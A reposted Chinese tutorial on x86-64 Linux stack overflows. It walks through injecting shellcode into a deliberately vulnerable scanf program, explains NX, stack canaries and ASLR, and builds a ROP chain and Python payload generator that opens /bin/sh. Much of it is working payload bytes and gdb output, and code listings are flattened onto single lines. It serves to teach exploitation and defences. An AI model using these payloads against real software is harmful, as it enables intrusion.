<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          C/C++ 基礎(chǔ)棧溢出及保護(hù)機(jī)制

          共 16426字,需瀏覽 33分鐘

           ·

          2020-12-04 11:53

          來(lái)源:pandolia? ?整理:CPP開(kāi)發(fā)者
          https://www.jianshu.com/p/47d484b9227e


          【導(dǎo)讀】:緩沖區(qū)溢出非常危險(xiǎn),因?yàn)闂?臻g內(nèi)保存了函數(shù)的返回地址。該地址保存了函數(shù)調(diào)用結(jié)束后后續(xù)執(zhí)行的指令的位置,對(duì)于計(jì)算機(jī)安全來(lái)說(shuō),該信息是很敏感的。如果有人惡意修改了這個(gè)返回地址,并使該返回地址指向了一個(gè)新的代碼位置,程序便能從其它位置繼續(xù)執(zhí)行。實(shí)際上很多程序都會(huì)接受用戶的外界輸入,尤其是當(dāng)函數(shù)內(nèi)的一個(gè)數(shù)組緩沖區(qū)接受用戶輸入的時(shí)候,一旦程序代碼未對(duì)輸入的長(zhǎng)度進(jìn)行合法性檢查的話,緩沖區(qū)溢出便有可能觸發(fā)!本文主要介紹棧溢出的相關(guān)知識(shí)與保護(hù)措施,文章較長(zhǎng),建議先碼后看。


          以下是正文


          引言


          如果你學(xué)的第一門程序語(yǔ)言是C語(yǔ)言,那么下面這段程序很可能是你寫出來(lái)的第一個(gè)有完整的 “輸入---處理---輸出” 流程的程序:

          #include int main() {    char name[64];    printf("What's your name?");    scanf("%s", name);    printf("Hello, %s!\n", name);    return 0;}

          也許這段小程序給你帶來(lái)了小小的成就感,也許直到課程結(jié)束也沒(méi)人說(shuō)這個(gè)程序有什么不對(duì),也許你的老師在第一時(shí)間就指出這段代碼存在棧溢出的漏洞,也許你后來(lái)又看到無(wú)數(shù)的文章指出這個(gè)問(wèn)題同時(shí)強(qiáng)調(diào)千萬(wàn)要慎用scanf函數(shù),也許你還知道stackoverflow是最好的程序員網(wǎng)站。


          但可能從來(lái)沒(méi)有人告訴你,什么是棧溢出、棧溢出有什么危害、黑客們可以利用棧溢出來(lái)進(jìn)行什么樣的攻擊,還有你最想知道的,他們是如何利用棧溢出來(lái)實(shí)現(xiàn)攻擊的,以及如何防護(hù)他們的攻擊。


          本文將一一為你解答這些問(wèn)題。


          準(zhǔn)備工具及知識(shí)


          你需要準(zhǔn)備以下工具:


          (1)?一臺(tái)64位Linux操作系統(tǒng)的x86計(jì)算機(jī)(虛擬機(jī)也可)


          (2) gcc編譯器、gdb調(diào)試器以及nasm匯編器(安裝命令:sudo apt-get install build-essential gdb nasm)


          本文中所有代碼均在Debian8.1(amd64)、gcc4.9.2、gdb7.7.1和nasm2.11.05以下運(yùn)行通過(guò),如果你使用的版本不一致,編譯選項(xiàng)和代碼中的有關(guān)數(shù)值可能需要根據(jù)實(shí)際情況略作修改。


          你需要具備以下基礎(chǔ)知識(shí):


          1. 熟練使用C語(yǔ)言、熟悉gcc編譯器以及Linux操作系統(tǒng)


          2. 熟悉x86匯編,熟練使用mov, push, pop, jmp, call, ret, add, sub這幾個(gè)常用命令


          3. 了解函數(shù)的調(diào)用過(guò)程以及調(diào)用約定


          考慮到大部分學(xué)校里面使用的x86匯編教材都是32位、windows平臺(tái)下的,這里簡(jiǎn)單介紹一下64位Linux平臺(tái)下的匯編的不同之處(如果你已熟悉Linux下的X86-64匯編,那你可以跳過(guò)以下內(nèi)容,直接閱讀第2節(jié)):


          第一個(gè)不同之處在于寄存器,64位的寄存器有rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, rip等,對(duì)應(yīng)32位的eax, ebx, ecx, edx, esi, edi, esp, ebp, eip,另外64位cpu中增加了r9, r10, ..., r15寄存器。


          第二個(gè)不同之處在于函數(shù)的調(diào)用約定,x86-32位架構(gòu)下的函數(shù)調(diào)用一般通過(guò)棧來(lái)傳遞參數(shù),而x86-64位架構(gòu)下的函數(shù)調(diào)用的一般用rdi,rsi,rdx,rcx,r8和r9寄存器依次保存前6個(gè)整數(shù)型參數(shù),浮點(diǎn)型參數(shù)保存在寄存器xmm0,xmm1...中,有更多的參數(shù)才通過(guò)棧來(lái)傳遞參數(shù)。


          第三個(gè)不同之處在于Linux系統(tǒng)特有的系統(tǒng)調(diào)用方式,Linux提供了許多很方便的系統(tǒng)調(diào)用(如write, read, open, fork, exec等),通過(guò)syscall指令調(diào)用,由rax指定需要調(diào)用的系統(tǒng)調(diào)用編號(hào),由rdi,rsi,rdx,r10,r9和r8寄存器傳遞系統(tǒng)調(diào)用需要的參數(shù)。Linux(x64)系統(tǒng)調(diào)用表詳見(jiàn) linux system call table for x86-64。


          Linux(x64)下的Hello world匯編程序如下:

          [section .text]        global _start
          _start: mov rax, 1 ; the system call for write ("1" for sys_write) mov rdi, 1 ; file descriptor ("1" for standard output) mov rsi, Msg ; string's address mov rdx, 12 ; string's length syscall
          mov rax, 0x3c ; the system call for exit("0x3c" for sys_exit) mov rdi, 0 ; exit code syscall
          Msg: DB "Hello world!"

          將以上代碼另存為hello-x64.asm,再在終端輸入以下命令:

          $ nasm -f elf64 hello-x64.asm$ ld -s -o hello-x64 hello-x64.o$ ./hello-x64Hello world!

          將編譯生成可執(zhí)行文件hello-x64,并在終端輸出Hello world!。


          另外,本文所有匯編都是用intel格式寫的,為了使gdb顯示intel格式的匯編指令,需在home目錄下新建一個(gè).gdbinit的文件,輸入以下內(nèi)容并保存:

          set disassembly-flavor intelset disassemble-next-line ondisplay

          經(jīng)典的棧溢出攻擊


          現(xiàn)在回到最開(kāi)始的這段程序:

          #include int main() {    char name[64];    printf("What's your name?");    scanf("%s", name);    printf("Hello, %s!\n", name);    return 0;}

          將其另存為victim.c,用gcc編譯并運(yùn)行:

          $ gcc victim.c -o victim -zexecstack -g$ ./victim What's your name?JackHello, Jack!

          上面的編譯選項(xiàng)中-g表示輸出調(diào)試信息,-zexecstack的作用后面再說(shuō)。先來(lái)仔細(xì)分析一下源程序,這段程序聲明了一個(gè)長(zhǎng)度為64的字節(jié)型數(shù)組,然后打印提示信息,再讀取用戶輸入的名字,最后輸出Hello和用戶輸入的名字。代碼似乎沒(méi)什么問(wèn)題,name數(shù)組64個(gè)字節(jié)應(yīng)該是夠了吧?畢竟沒(méi)人的姓名會(huì)有64個(gè)字母,畢竟我們的內(nèi)存空間也是有限的。但是,往壞處想一想,沒(méi)人能阻止用戶在終端輸入100甚至1000個(gè)的字符,當(dāng)那種情況發(fā)生時(shí),會(huì)發(fā)生什么事情?name數(shù)組只有64個(gè)字節(jié)的空間,那些多余的字符呢,會(huì)到哪里去?


          為了回答這兩個(gè)問(wèn)題,需要了解程序運(yùn)行時(shí)name數(shù)組是如何保存在內(nèi)存中的,這是一個(gè)局部變量,顯然應(yīng)該保存在棧上,那棧上的布局又是怎樣的?讓我們來(lái)分析一下程序中的匯編指令吧,先將目標(biāo)程序的匯編碼輸出到victim.asm文件中,命令如下:

          objdump -d victim -M intel > victim.asm

          然后打開(kāi)victim.asm文件,找到其中的main函數(shù)的代碼:

          0000000000400576 
          : 400576: 55 push rbp 400577: 48 89 e5 mov rbp,rsp 40057a: 48 83 ec 40 sub rsp,0x40 40057e: bf 44 06 40 00 mov edi,0x400644 400583: b8 00 00 00 00 mov eax,0x0 400588: e8 b3 fe ff ff call 400440 40058d: 48 8d 45 c0 lea rax,[rbp-0x40] 400591: 48 89 c6 mov rsi,rax 400594: bf 56 06 40 00 mov edi,0x400656 400599: b8 00 00 00 00 mov eax,0x0 40059e: e8 cd fe ff ff call 400470 <__isoc99_scanf@plt> 4005a3: 48 8d 45 c0 lea rax,[rbp-0x40] 4005a7: 48 89 c6 mov rsi,rax 4005aa: bf 59 06 40 00 mov edi,0x400659 4005af: b8 00 00 00 00 mov eax,0x0 4005b4: e8 87 fe ff ff call 400440 4005b9: b8 00 00 00 00 mov eax,0x0 4005be: c9 leave 4005bf: c3 ret

          可以看出,main函數(shù)的開(kāi)頭和結(jié)尾和32位匯編中的函數(shù)幾乎一樣。該函數(shù)的開(kāi)頭的push rbp; mov rbp, rsp; sub rsp, 0x40,先保存rbp的數(shù)值,再令rbp等于rsp,然后將棧頂指針rsp減小0x40(也就是64),相當(dāng)于在棧上分配長(zhǎng)度為64的空間,main函數(shù)中只有name一個(gè)局部變量,顯然這段空間就是name數(shù)組,即name的起始地址為rbp-0x40。再結(jié)合函數(shù)結(jié)尾的leave; ret,同時(shí)類比一下32位匯編中的函數(shù)棧幀布局,可以畫出本程序中main函數(shù)的棧幀布局如下(請(qǐng)注意下圖是按棧頂在上、棧底在下的方式畫的):? ? ? ? ? ? ? ? ? ? ?

          rbp即函數(shù)的棧幀基指針,在main函數(shù)中,name數(shù)組保存在rbp-0x40~rbp+0x00之間,rbp+0x00處保存的是上一個(gè)函數(shù)的rbp數(shù)值,rbp+0x08處保存了main函數(shù)的返回地址。當(dāng)main函數(shù)執(zhí)行完leave命令,執(zhí)行到ret命令時(shí):上一個(gè)函數(shù)的rbp數(shù)值已重新取回至rbp寄存器,棧頂指針rsp已經(jīng)指向了保存這個(gè)返回地址的單元。之后的ret命令會(huì)將此地址出棧,然后跳到此地址。


          現(xiàn)在可以回答剛才那個(gè)問(wèn)題了,如果用戶輸入了很多很多字符,會(huì)發(fā)生什么事情。此時(shí)scanf函數(shù)會(huì)讀取第一個(gè)空格字符之前的所有字符,然后全部拷貝到name指向的地址處。若用戶輸入了100個(gè)“A”再回車,則棧會(huì)是下面這個(gè)樣子:

          也就是說(shuō),上一個(gè)函數(shù)的rbp數(shù)值以及main函數(shù)的返回地址全部都被改寫了,當(dāng)執(zhí)行完ret命令后,cpu將跳到0x4141414141414141("AAAAAAAA")地址處,開(kāi)始執(zhí)行此地址的指令。


          在Linux系統(tǒng)中,0x4141414141414141是一個(gè)非法地址,因此程序會(huì)出錯(cuò)并退出。但是,如果用戶輸入了精心挑選的字符后,覆蓋在這里的數(shù)值是一個(gè)合法的地址呢?如果這個(gè)地址上恰好保存了用戶想要執(zhí)行的惡意的指令呢?會(huì)發(fā)生什么事情?


          以上就是棧溢出的本質(zhì),如果程序在接受用戶輸入的時(shí)候不對(duì)下標(biāo)越界進(jìn)行檢查,直接將其保存到棧上,用戶就有可能利用這個(gè)漏洞,輸入足夠多的、精心挑選的字符,改寫函數(shù)的返回地址(也可以是jmp、call指令的跳轉(zhuǎn)地址),由此獲取對(duì)cpu的控制,從而執(zhí)行任何他想執(zhí)行的動(dòng)作。


          下面介紹最經(jīng)典的棧溢出攻擊方法:將想要執(zhí)行的指令機(jī)器碼寫到name數(shù)組中,然后改寫函數(shù)返回地址為name的起始地址,這樣ret命令執(zhí)行后將會(huì)跳轉(zhuǎn)到name起始地址,開(kāi)始執(zhí)行name數(shù)組中的機(jī)器碼。


          我們將用這種方法執(zhí)行一段簡(jiǎn)單的程序,該程序僅僅是在終端打印“Hack!”然后正常退出。


          首先要知道name的起始地址,打開(kāi)gdb,對(duì)victim進(jìn)行調(diào)試,輸入gdb -q ./victim,再輸入break *main在main函數(shù)的開(kāi)頭下一個(gè)斷點(diǎn),再輸入run命令開(kāi)始運(yùn)行,如下:

          $ gdb -q ./victimReading symbols from ./victim...done.(gdb) break *mainBreakpoint 1 at 0x400576: file victim.c, line 3.(gdb) runStarting program: /home/hcj/blog/rop/ch02/victim 
          Breakpoint 1, main () at victim.c:33 int main() {=> 0x0000000000400576 0>: 55 push rbp 0x0000000000400577 1>: 48 89 e5 mov rbp,rsp 0x000000000040057a 4>: 48 83 ec 40 sub rsp,0x40(gdb)

          此時(shí)程序停留在main函數(shù)的第一條指令處,輸入p &name[0]和x/gx $rsp分別查看name的起始指針和此時(shí)的棧頂指針rsp。

          (gdb) p &name[0]$1 = 0x7fffffffe100 "\001"(gdb) x/gx $rsp0x7fffffffe148: 0x00007ffff7a54b45(gdb)

          得到name的起始指針為0x7fffffffe100、此時(shí)的棧頂指針rsp為0x7fffffffe148,name到rsp之間一共0x48(也就是72)個(gè)字節(jié),這和之前的分析是一致的。


          下面來(lái)寫指令的機(jī)器碼,首先寫出匯編代碼:

          [section .text]        global _start
          _start: jmp ENDBEGIN: mov rax, 1 mov rdi, 1 pop rsi mov rdx, 5 syscall
          mov rax, 0x3c mov rdi, 0 syscallEND: call BEGIN DB "Hack!"

          這段程序和第一節(jié)的Hello-x64基本一樣,不同之處在于巧妙的利用了call BEGIN和pop rsi獲得了字符串“Hack”的地址、并保存到rsi中。將以上代碼保存為shell.asm,編譯運(yùn)行一下:

          $ nasm -f elf64 shell.asm$ ld -s -o shell shell.o$ ./shellHack!

          然后用objdump程序提取出機(jī)器碼:

          $ objdump -d shell -M intel...0000000000400080 <.text>:  400080:   eb 1e                   jmp    0x4000a0  400082:   b8 01 00 00 00          mov    eax,0x1  400087:   bf 01 00 00 00          mov    edi,0x1  40008c:   5e                      pop    rsi  40008d:   ba 05 00 00 00          mov    edx,0x5  400092:   0f 05                   syscall   400094:   b8 3c 00 00 00          mov    eax,0x3c  400099:   bf 00 00 00 00          mov    edi,0x0  40009e:   0f 05                   syscall   4000a0:   e8 dd ff ff ff          call   0x400082  4000a5:   48 61                   rex.W (bad)   4000a7:   63 6b 21                movsxd ebp,DWORD PTR [rbx+0x21]

          以上機(jī)器碼一共42個(gè)字節(jié),name到ret rip之間一共72個(gè)字節(jié),因此還需要補(bǔ)30個(gè)字節(jié),最后填上name的起始地址0x7fffffffe100。main函數(shù)執(zhí)行到ret命令時(shí),棧上的數(shù)據(jù)應(yīng)該是下面這個(gè)樣子的(注意最后的name起始地址需要按小端順序保存):

          上圖中的棧上的所有字節(jié)碼就是我們需要輸入給scanf函數(shù)的字符串,這個(gè)字符串一般稱為shellcode。由于這段shellcode中有很多無(wú)法通過(guò)鍵盤輸入的字節(jié)碼,因此用python將其打印至文件中:

          python -c 'print "\xeb\x1e\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x5e\xba\x05\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xff\x48\x61\x63\x6b\x21" + "\x00"*30 + "\x00\xe1\xff\xff\xff\x7f\x00\x00"' > shellcode

          現(xiàn)在可以對(duì)victim進(jìn)行攻擊了,不過(guò)目前只能在gdb的調(diào)試環(huán)境下進(jìn)行攻擊。輸入gdb -q ./victim,再輸入run < shellcode:

          $ gdb -q ./victimReading symbols from ./victim...done.(gdb) run < shellcodeStarting program: /home/hcj/blog/rop/ch02/victim < shellcodeWhat's your name?Hello, ????!Hack![Inferior 1 (process 2711) exited normally](gdb)

          可以看到shellcode已經(jīng)順利的被執(zhí)行,棧溢出攻擊成功。


          編寫shellcode需要注意兩個(gè)事情:


          (1) 為了使shellcode被scanf函數(shù)全部讀取,shellcode中不能含有空格字符(包括空格、回車、Tab鍵等),也就是說(shuō)不能含有\(zhòng)x10、\x0a、\x0b、\x0c、\x20等這些字節(jié)碼,否則shellcode將會(huì)被截?cái)唷H绻还舻某绦蚴褂胓ets、strcpy這些字符串拷貝函數(shù),那么shellcode中不能含有\(zhòng)x00。


          (2) 由于shellcode被加載到棧上的位置不是固定的,因此要求shellcode被加載到任意位置都能執(zhí)行,也就是說(shuō)shellcode中要盡量使用相對(duì)尋址。


          棧溢出攻擊的防護(hù)


          為了防止棧溢出攻擊,最直接和最根本的辦法當(dāng)然是寫出嚴(yán)謹(jǐn)?shù)拇a,剔除任何可能發(fā)生棧溢出的代碼。但是當(dāng)程序的規(guī)模大到一定的程序時(shí),代碼錯(cuò)誤很難被發(fā)現(xiàn),因此操作系統(tǒng)和編譯器采取了一些措施來(lái)防護(hù)棧溢出攻擊,主要有以下措施。


          (1) 棧不可執(zhí)行機(jī)制

          操作系統(tǒng)可以利用cpu硬件的特性,將棧設(shè)置為不可執(zhí)行的,這樣上一節(jié)所述的將攻擊代碼放在棧上的攻擊方法就無(wú)法實(shí)施了。


          上一節(jié)中g(shù)cc victim.c -o victim -zexecstack -g,其中的-zexecstack選項(xiàng)就是告訴操作系統(tǒng)允許本程序的棧可執(zhí)行。去掉此選項(xiàng)再編譯一次試試看:

          $ gcc victim.c -o victim_nx -g$ gdb -q ./victim_nxReading symbols from ./victim_nx...done.(gdb) r < shellcodeStarting program: /home/hcj/blog/rop/ch02/victim_nx < shellcodeWhat's your name?Hello, ????!
          Program received signal SIGSEGV, Segmentation fault.0x00007fffffffe100 in ?? ()=> 0x00007fffffffe100: eb 1e jmp 0x7fffffffe120(gdb)

          可以看到當(dāng)程序跳轉(zhuǎn)到name的起始地址0x00007fffffffe100后,嘗試執(zhí)行此處的指令的時(shí)候發(fā)生了一個(gè)Segmentation fault,之后就中止運(yùn)行了。


          目前來(lái)說(shuō)大部分程序都沒(méi)有在棧上執(zhí)行代碼的需求,因此將棧設(shè)置為不可執(zhí)行對(duì)大部分程序的正常運(yùn)行都沒(méi)有任何影響,因此Linux和Windows平臺(tái)上默認(rèn)都是打開(kāi)棧不可執(zhí)行機(jī)制的。


          (2) 棧保護(hù)機(jī)制


          以gcc編譯器為例,編譯時(shí)若打開(kāi)棧保護(hù)開(kāi)關(guān),則會(huì)在函數(shù)的進(jìn)入和返回的地方增加一些檢測(cè)指令,這些指令的作用是:當(dāng)進(jìn)入函數(shù)時(shí),在棧上、ret rip之前保存一個(gè)只有操作系統(tǒng)知道的數(shù)值;當(dāng)函數(shù)返回時(shí),檢查棧上這個(gè)地方的數(shù)值有沒(méi)有被改寫,若被改寫了,則中止程序運(yùn)行。由于這個(gè)數(shù)值保存在ret rip的前面,因此若ret rip被改寫了,它肯定也會(huì)被改寫。這個(gè)數(shù)值被形象的稱為金絲雀。


          讓我們打開(kāi)棧保護(hù)開(kāi)關(guān)重新編譯一下victim.c:

          $ gcc victim.c -o victim_fsp -g -fstack-protector$ objdump -d victim_fsp -M intel > victim_fsp.asm

          打開(kāi)victim_fsp.asm找到main函數(shù),如下:

          00000000004005d6 
          : 4005d6: 55 push rbp 4005d7: 48 89 e5 mov rbp,rsp 4005da: 48 83 ec 50 sub rsp,0x50
          4005de: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4005e5: 00 00 4005e7: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
          ...
          40062d: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8] 400631: 64 48 33 14 25 28 00 xor rdx,QWORD PTR fs:0x28 400638: 00 00 40063a: 74 05 je 400641 40063c: e8 4f fe ff ff call 400490 <__stack_chk_fail@plt> 400641: c9 leave 400642: c3 ret

          可以看到函數(shù)的開(kāi)頭增加了mov rax,QWORD PTR fs:0x28; mov QWORD PTR [rbp-0x8],rax,函數(shù)退出之前增加了mov rdx,QWORD PTR [rbp-0x8]; xor rdx,QWORD PTR fs:0x28; je 400641 ; call 400490 <__stack_chk_fail@plt>這樣的檢測(cè)代碼。


          棧保護(hù)機(jī)制的缺點(diǎn)一個(gè)是開(kāi)銷太大,每個(gè)函數(shù)都要增加5條指令,第二個(gè)是只能保護(hù)函數(shù)的返回地址,無(wú)法保護(hù)jmp、call指令的跳轉(zhuǎn)地址。在gcc4.9版本中默認(rèn)是關(guān)閉棧保護(hù)機(jī)制的。


          (3) 內(nèi)存布局隨機(jī)化機(jī)制


          內(nèi)存布局隨機(jī)化就是將程序的加載位置、堆棧位置以及動(dòng)態(tài)鏈接庫(kù)的映射位置隨機(jī)化,這樣攻擊者就無(wú)法知道程序的運(yùn)行代碼和堆棧上變量的地址。以上一節(jié)的攻擊方法為例,如果程序的堆棧位置是隨機(jī)的,那么攻擊者就無(wú)法知道name數(shù)組的起始地址,也就無(wú)法將main函數(shù)的返回地址改寫為shellcode中攻擊指令的起始地址從而實(shí)施他的攻擊了。


          內(nèi)存布局隨機(jī)化需要操作系統(tǒng)和編譯器的密切配合,而全局的隨機(jī)化是非常難實(shí)現(xiàn)的。堆棧位置隨機(jī)化和動(dòng)態(tài)鏈接庫(kù)映射位置隨機(jī)化的實(shí)現(xiàn)的代價(jià)比較小,Linux系統(tǒng)一般都是默認(rèn)開(kāi)啟的。而程序加載位置隨機(jī)化則要求編譯器生成的代碼被加載到任意位置都可以正常運(yùn)行,在Linux系統(tǒng)下,會(huì)引起較大的性能開(kāi)銷,因此Linux系統(tǒng)下一般的用戶程序都是加載到固定位置運(yùn)行的。


          在Debian8.1和gcc4.9.2環(huán)境下實(shí)驗(yàn),代碼如下:

          #include char g_name[64];
          void *get_rip(){ asm("\n\.intel_syntax noprefix\n\ mov rax, [rbp+8]\n\.att_syntax\n\ ");}
          int main(){ char name[64]; printf("Address of `g_name` (Global variable): %x\n", g_name); printf("Address of `name` (Local variable): %x\n", name); printf("Address of `main` (User code): %x\n", main); printf("Value of rip: %x\n", get_rip()); return 0;}

          將以上代碼另存為aslr_test.c,編譯并運(yùn)行幾次,如下:

          $ gcc -o aslr_test aslr_test.c$ ./aslr_test Address of `g_name` (Global variable): 600a80Address of `name` (Local variable): d3933580Address of `main` (User code): 400510Value of rip: 400560$ ./aslr_test Address of `g_name` (Global variable): 600a80Address of `name` (Local variable): 512cd150Address of `main` (User code): 400510Value of rip: 400560

          可見(jiàn)每次運(yùn)行,只有局部變量的地址是變化的,全局變量的地址、main函數(shù)的地址以及某條指令運(yùn)行時(shí)刻的實(shí)際rip數(shù)值都是不變,因此程序是被加載到固定位置運(yùn)行,但堆棧位置是隨機(jī)的。


          動(dòng)態(tài)鏈接庫(kù)的映射位置可以用ldd命令查看,如下:

          $ ldd aslr_test    linux-vdso.so.1 (0x00007ffe1dd9d000)    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f26b7e71000)    /lib64/ld-linux-x86-64.so.2 (0x00007f26b821a000)$ ldd aslr_test    linux-vdso.so.1 (0x00007ffc6a771000)    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4ec92c0000)    /lib64/ld-linux-x86-64.so.2 (0x00007f4ec9669000)

          可見(jiàn)每次運(yùn)行,這三個(gè)動(dòng)態(tài)鏈接庫(kù)映射到進(jìn)程aslr_test中的位置都是變化的。


          ROP 攻擊


          在操作系統(tǒng)和編譯器的保護(hù)下,程序的棧是不可運(yùn)行的、棧的位置是隨機(jī)的,增大了棧溢出攻擊的難度。但如果程序的加載位置是固定的、或者程序中存在加載到固定位置的可執(zhí)行代碼,攻擊者就可以利用這些固定位置上的代碼來(lái)實(shí)施他的攻擊。


          考慮下面的代碼,其中含有一個(gè)borrowed函數(shù),作用是打開(kāi)一個(gè)shell終端。

          #include #include 
          void borrowed() { execl("/bin/sh", NULL, NULL);}
          int main() { char name[64]; printf("What's your name?"); scanf("%s", name); printf("Hello, %s!\n", name); return 0;}

          將以上代碼另存為victim.c編譯,并提取匯編碼到victim.asm中,如下:

          $ gcc -o victim victim.c$ objdump -d victim -M intel > victim.asm

          打開(kāi)victim.asm可以查到borrowed函數(shù)的地址為0x4050b6。因此,若攻擊者利用棧溢出將main函數(shù)的返回地址改寫為0x4050b6,則main函數(shù)返回時(shí)會(huì)轉(zhuǎn)到borrowed函數(shù)運(yùn)行,打開(kāi)一個(gè)shell終端,后面就可以利用終端干很多事情了。


          現(xiàn)在來(lái)試一試吧:

          $ python -c 'print "\x00"*72+"\xb6\x05\x40\x00\x00\x00\x00\x00"' > shellcode$ cat shellcode - | ./victim What's your name?Hello, !lsshellcode  victim  victim.asm  victim.cmkdir xxxlsshellcode  victim  victim.asm  victim.c  xxxrmdir xxxlsshellcode  victim  victim.asm  victim.c

          可以看出終端被成功的打開(kāi)了,并運(yùn)行了ls、mkdir、rmdir命令。


          注意以上攻擊命令中cat shellcode - | ./victim的-是不能省略的,否則終端打開(kāi)后就會(huì)立即關(guān)閉。


          這個(gè)例子表明,攻擊者可以利用程序自身的代碼來(lái)實(shí)施攻擊,從而繞開(kāi)棧不可執(zhí)行和棧位置隨機(jī)化的防護(hù)。這個(gè)程序是一個(gè)特意構(gòu)造的例子,實(shí)際的程序中當(dāng)然不太可能埋一個(gè)borrowed函數(shù)這樣的炸彈來(lái)等著人來(lái)引爆。但是,攻擊者可以利用程序自身的、沒(méi)有任何惡意的代碼片段來(lái)組裝出這樣的炸彈來(lái),這就是ROP攻擊。


          ROP攻擊全稱為Return-oriented programming,在這種攻擊中,攻擊者先搜索出程序自身中存在的跳板指令(gadgets),然后將一些跳板指令串起來(lái),組裝成一段完整的攻擊程序。


          跳板指令就是以ret結(jié)尾的指令(也可以是以jmp、call結(jié)尾的指令),如mov rax, 1; ret | pop rax; ret。那如何將跳板指令串起來(lái)?


          假如程序中在0x1234 | 0x5678 | 0x9abc地址處分別存在三段跳板指令mov rax, 10; ret | mov rbx, 20; ret | add rax, rbx; ret,且當(dāng)前的rip指向的指令是ret,如果將0x1234 | 0x5678 | 0x9abc三個(gè)地址的數(shù)值放到棧上,如下:

          則執(zhí)行完ret指令后,程序?qū)⑻D(zhuǎn)到0x1234,執(zhí)行mov rax, 1; ret,后面這個(gè)ret指令又將跳轉(zhuǎn)到0x5678...,之后再跳轉(zhuǎn)到0x9abc,整個(gè)流程好像在順序執(zhí)行mov rax, 10; mov rbx, 20; add rax, rbx一樣。


          可見(jiàn)只要將這些以ret指令結(jié)尾的gadgets的地址放在棧上合適的位置,這些ret指令就會(huì)按指定的順序一步步的在這些gadgets之間跳躍。


          再看一個(gè)稍微復(fù)雜的例子:

          這個(gè)例子中,跳板指令是pop rax; ret,執(zhí)行完后,棧上的0x3b將pop到rax中,因此這種型式的跳板指令可以實(shí)現(xiàn)對(duì)寄存器的賦值。


          而add rsp, 10h; ret型式的跳板指令可以模擬流程跳轉(zhuǎn),如下:

          條件跳轉(zhuǎn)甚至函數(shù)調(diào)用都可以用精心構(gòu)造出的gadgets鏈來(lái)模擬。只要找出一些基本的gadgets,就可以使用這些gadgets來(lái)組裝出復(fù)雜的攻擊程序。而只要被攻擊程序的代碼量有一定的規(guī)模,就不難在這個(gè)程序的代碼段中搜索出足夠多的gadgets(注意目標(biāo)程序的代碼中不需要真正有這樣的指令,只需要恰好有這樣的指令的機(jī)器碼,例如如果需要用到跳板指令pop rax; ret,只需要目標(biāo)程序的代碼段中含有字節(jié)碼串58 C3就可以了)。


          下面以實(shí)例來(lái)展示一下ROP攻擊的強(qiáng)大,在這個(gè)例子中,將利用gadgets組裝出程序,執(zhí)行exec系統(tǒng)調(diào)用打開(kāi)一個(gè)shell終端。


          用exec系統(tǒng)調(diào)用打開(kāi)一個(gè)shell終端需要的參數(shù)和指令如下:

                  mov rax, 0x3b   ; system call number, 0x3b for sys_exec        mov rdi, PROG   ; char *prog (program path)        mov rsi, 0      ; char **agcv        mov rdx, 0      ; char **env        syscallPROG:   DB "/bin/sh", 0

          其中rax為系統(tǒng)調(diào)用編號(hào),rdi為字符串指針、指向可執(zhí)行程序的完整路徑,rsi和rdx都是字符串指針數(shù)組,保存了參數(shù)列表和環(huán)境變量,在此處可以直接至為0。


          為了增大被攻擊程序的體積,以搜索到盡可能多的gadgets,在原來(lái)的代碼中增加一個(gè)random函數(shù),同時(shí)用靜態(tài)鏈接的方式重新編譯一下victim.c:

          $ cat victim.c#include #include 
          int main() { char name[64]; printf("What's your name?"); scanf("%s", name); printf("Hello, %s%ld!\n", name, random()); return 0;}$ gcc -o victim victim.c -static

          手工搜索目標(biāo)程序中的gadgets顯然是不現(xiàn)實(shí)的,采用JonathanSalwan編寫的ROPgadget搜索,網(wǎng)址在這里:

          https://github.com/JonathanSalwan/ROPgadget

          可以使用pip安裝:

          suapt-get install python-pippip install capstonepip install ropgadgetexit

          安裝完成后,可以使用下面的命令來(lái)搜索gadgets:

          ROPgadget --binary ./victim --only "pop|ret"

          搜索到程序中存在的跳板指令只是第一步。接下來(lái)需要挑選并組裝gadgets,過(guò)程非常繁瑣、復(fù)雜,不再敘述了。總之,經(jīng)過(guò)多次嘗試,最后找到了以下gadgets:

          0x00000000004003f2 : pop r12 ; ret0x00000000004018ed : pop r12 ; pop r13 ; ret0x0000000000487318 : mov rdi, rsp ; call r120x0000000000431b3d : pop rax ; ret0x00000000004333d9 : pop rdx ; pop rsi ; ret0x000000000043d371 : syscall

          按下圖的方式拼裝gadgets,圖中的‘+’號(hào)旁邊的數(shù)字0、1、2、...、13表示攻擊程序執(zhí)行過(guò)程中rip和rsp的移動(dòng)順序。

          為了將大端順序的地址數(shù)值轉(zhuǎn)換為小端順序的字符串,編寫了一個(gè)python程序gen_shellcode.py來(lái)生成最終的shellcode:

          # >>> s= long2bytes(0x5c4)# >>> s# '\xc4\x05\x00\x00\x00\x00\x00\x00'def long2bytes(x):    ss = [""] * 8    for i in range(8):        ss[i] = chr(x & 0xff)        x >>= 8    return "".join(ss)
          print "\x00"*72 + \ long2bytes(0x4003f2) + \ long2bytes(0x4018ed) + \ long2bytes(0x487318) + \ "/bin/sh\x00" + \ long2bytes(0x431b3d) + \ long2bytes(0x00003b) + \ long2bytes(0x4333d9) + \ long2bytes(0x000000) + \ long2bytes(0x000000) + \ long2bytes(0x43d371)

          現(xiàn)在可以實(shí)施攻擊了:

          $ python gen-shellcode.py > shellcode$ cat shellcode - | ./victimWhat's your name?Hello, 1804289383!lsgen-shellcode.py  shellcode  victim  victim.cmkdir xxxlsgen-shellcode.py  shellcode  victim  victim.c xxx

          可以看出終端被成功打開(kāi),ls和mkdir命令都可以運(yùn)行。


          致謝


          • 感謝jip的文章 Stack Smashing On A Modern Linux System 和Ben Lynn的文章 ? 64-bit Linux Return-Oriented Programming ,他們的文章系統(tǒng)的介紹了Linux(x64)下的棧溢出攻擊和防護(hù)方法。


